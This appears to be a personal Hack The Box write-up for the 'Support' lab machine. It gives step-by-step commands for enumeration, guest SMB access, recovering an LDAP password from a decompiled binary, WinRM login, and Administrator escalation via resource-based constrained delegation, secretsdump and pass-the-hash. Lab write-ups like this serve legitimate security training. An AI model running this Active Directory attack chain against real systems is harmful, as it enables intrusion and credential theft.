HTB Support 靶機解題紀錄：不使用 Metasploit

Summary

• There was a file readable by the guest account. Furthermore, it included UserInfo.exe, a binary that performs LDAP communication, and we were able to recover a plaintext password from it by analyzing the binary.
• The group that support (the account whose shell we obtained) belongs to had GenericAll rights over the DC. We exploited this via RBCD to obtain Administrator. #### Recommendation
• Do not leave files readable by guest or anonymous/null sessions.
• Review and remove unnecessary group nesting that grants service accounts excessive privileges, and regularly audit ACLs for dangerous rights granted to non-admin principals, so that no path exists from a low-privileged account to Administrator.

Enumeration

First of all, let's enumerate open ports on the machine using namp. I usually take following 2 steps.

sudo nmap -sS -Pn -p- --open -n --min-rate 5000 -oA scan_all 10.129.230.181

ports=$(grep -oP '\d+/open' scan_all.gnmap | cut -d/ -f1 | paste -sd,)
sudo nmap -sS -Pn -p "$ports" -A -oN scan_deep.txt 10.129.230.181

Ports 135 (RPC), 139 (NetBIOS/SMB), and 445 (SMB) are open. Also, 53 (DNS), 389 (LDAP) and 88 (Kerberos) are open, too. This suggests a standalone Windows machine having an Active Directory domain.
The domain is support.htb.

Let's add the mapping between the IP address and the hostname to /etc/hosts.

echo "10.129.230.181 support.htb" | sudo tee -a /etc/hosts

sudo nmap -sU -Pn --top-ports 100 -oN scan_udp.txt 10.129.230.181

No interesting UDPs are open.

Since it's a Windows machine with active directory, let's try anonymous and guest login for shares, users and groups at first.

nxc smb 10.129.230.181 -u '' -p '' --shares --users --groups

Nothing special.

nxc smb 10.129.230.181 -u 'guest' -p '' --shares --users --groups

Yes! We can see support-tools which is something original to this machine.

Exploitation

Let's see the contents of support-tools.

smbclient //10.129.230.181/support-tools -U 'support.htb\guest%'
ls

There are many interesting files.

Let's download them all.

recurse ON
prompt OFF
mget *

UserInfo.exe sounds interesting. Let's disassemble it.

The code shows it has a function to log in to LDAP.

The encryption method is written there as well.

Let’s use Python to execute it as is.

We extracted the password:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz.

Let's see the contents using ladosearch.

ldapsearch -x -H ldap://10.129.230.181 \
  -D "ldap@support.htb" \
  -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' \
  -b "DC=support,DC=htb" \
  "(sAMAccountName=support)"

Here, we found a password: Ironside47pleasure40Watchful.

Let's check what we can do.

for p in smb winrm rdp wmi mssql; do for a in "" "--local-auth"; do nxc $p 10.129.230.181 -u 'support' -p 'Ironside47pleasure40Watchful' $a; done; done; for p in ssh ftp; do nxc $p 10.129.230.181 -u 'support' -p 'Ironside47pleasure40Watchful'; done

We can use WINRM.

Let's login.

evil-winrm -i 10.129.230.181 -u support -p Ironside47pleasure40Watchful
type C:\Users\support\Desktop\user.txt

We got user.txt.

Privilege Escalation

First thing to do: let’s use BloodHound to find a way to escalate privileges.

nxc ldap 10.129.230.181 -u support -p 'Ironside47pleasure40Watchful' --bloodhound --collection All --dns-server 10.129.230.181

There is a path to becoming Administrator, since support has GenericAll over DC. We can expect that RBCD (Resource-Based Constrained Delegation) can be used here.

RBCD (Resource-Based Constrained Delegation) is a mechanism where the target object itself manages the list of "who is trusted to act as a delegate" for it. As long as you have the permission to modify that list (such as GenericAll), you can add your own fake account to it, claim "I'm acting on behalf of Administrator," and legitimately obtain an Administrator-privileged ticket through the normal protocol flow.

Step 0: Let's also resolve the DC's domain name.

echo "10.129.230.181 dc.support.htb DC.support.htb support.htb" | sudo tee -a /etc/hosts

Step 1: By default, AD has a built-in mechanism (ms-DS-MachineAccountQuota) that lets even a regular user create up to 10 computer accounts of their own. We'll use this to create a fake computer account.

impacket-addcomputer -computer-name 'FAKE01$' -computer-pass 'Passw0rd123!' \
  -dc-ip 10.129.230.181 support.htb/support:'Ironside47pleasure40Watchful'

Step 2: Using the GenericAll permission that support holds, configure the DC to trust delegation requests coming from the fake computer account we just created.

 impacket-rbcd -delegate-to 'DC$' -delegate-from 'FAKE01$' -action write \
  -dc-ip 10.129.230.181 support.htb/support:'Ironside47pleasure40Watchful'

Step 3: Generate a legitimate ticket that lets us log in to the file share on the DC as Administrator.

impacket-getST -spn 'cifs/DC.support.htb' -impersonate Administrator \
  -dc-ip 10.129.230.181 support.htb/'FAKE01$':'Passw0rd123!'

Step 4: Tell the Kerberos client to use the ticket we obtained in Step 3.

export KRB5CCNAME=Administrator@cifs_DC.support.htb@SUPPORT.HTB.ccache

Step 5: Obtain the Administrator's hash.

impacket-secretsdump -k -no-pass dc.support.htb -just-dc-user Administrator

Let's login through WINRM.

evil-winrm -i 10.129.230.181 -u Administrator -H bb06cbc02b39abeddd1335bc30b19e26
type C:\Users\Administrator\Desktop\root.txt

Hooray!

Lessons Learned

• BloodHound has an official homepage. I should follow it: BloodHound.
• If we have GenericAll on the DC, RBCD (Resource-Based Constrained Delegation) — a mechanism where the target object itself manages the list of “who is trusted to act as a delegate” for it — can be used. Impacket can walk through this.
• .NET was something I’d never dealt with before. It was difficult for me to decompile it and work with it in Python. I relied on AI for that, which I shouldn’t do in the future.